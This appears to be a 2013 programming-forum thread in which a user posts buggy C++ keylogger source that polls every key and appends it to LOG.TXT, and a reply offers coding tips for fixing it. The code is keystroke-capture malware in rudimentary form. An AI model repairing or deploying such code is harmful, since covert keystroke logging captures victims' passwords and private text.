May 23, 2013 at 12:23am UTC
Here's my code, my problem is that it is not sending the keystrokes to the LOG.TXT file I want them to be going to.
What am I doing wrong?
1 #include <iostream>
2 using namespace std;
3 #include <windows.h>
4 #include <winuser.h>
5 #include <stdio.h>
6 int save (int key_stroke, char *file);
7
8 int main ()
9 {
10 char i;
11
12 while (1)
13 {
14 for (i = 8; i <= 190; i++)
15 {
16 if (GetAsyncKeyState (i) == -32767)
17 save(i,"LOG.TXT");
18 }
19 }
20 system ("PAUSE");
21 return 0;
22 }
23 /* *********************************** */
24 /* *********************************** */
25 int save (int key_stroke, char *file)
26 {
27 if ( (key_stroke == 1) || (key_stroke ==2))
28 return 0;
29
30 FILE *OUTPUT_FILE;
31 OUTPUT_FILE = fopen(file, "a+") ;
32 cout <<key_stroke << endl;
33
34 if (key_stroke == 8)
35 fprintf(OUTPUT_FILE, "%S", "[BACKSPACE]") ;
36 else if (key_stroke == 13)
37 fprintf(OUTPUT_FILE, "%S", "\n") ;
38 else if (key_stroke == 32)
39 fprintf(OUTPUT_FILE, "%S", " ") ;
40 else if (key_stroke == VK_TAB)
41 fprintf(OUTPUT_FILE, "%S", "[TAB]") ;
42 fclose (OUTPUT_FILE) ;
43 if (key_stroke == VK_SHIFT)
44 fprintf(OUTPUT_FILE, "%S", "[SHIFT]") ;
45 else if (key_stroke == VK_LEFT)
46 fprintf(OUTPUT_FILE, "%S", "[LEFT]") ;
47 else if (key_stroke == VK_UP)
48 fprintf(OUTPUT_FILE, "%S", "[UP]") ;
49 else if (key_stroke == VK_RIGHT)
50 fprintf(OUTPUT_FILE, "%S", "[RIGHT]") ;
51 else if (key_stroke == VK_DOWN)
52 fprintf(OUTPUT_FILE, "%S", "[DOWN]") ;
53 else if (key_stroke == 190 || key_stroke == 110)
54 fprintf(OUTPUT_FILE, "%S", ".") ;
55 else
56 fprintf(OUTPUT_FILE, "%S", &key_stroke) ;
57 fclose (OUTPUT_FILE) ;
58 return 0;
59 }
60
May 23, 2013 at 6:46am UTC
When you find yourself using multiple if else-if statements means it is time to use switch.
First question: Does your code even compile properly without errors? Also when you are trying to write a constant string to a file using printf or any c output streams, you can explicitly state what you want to write without using the format specifiers.
Also no c format specifier is capitalised so...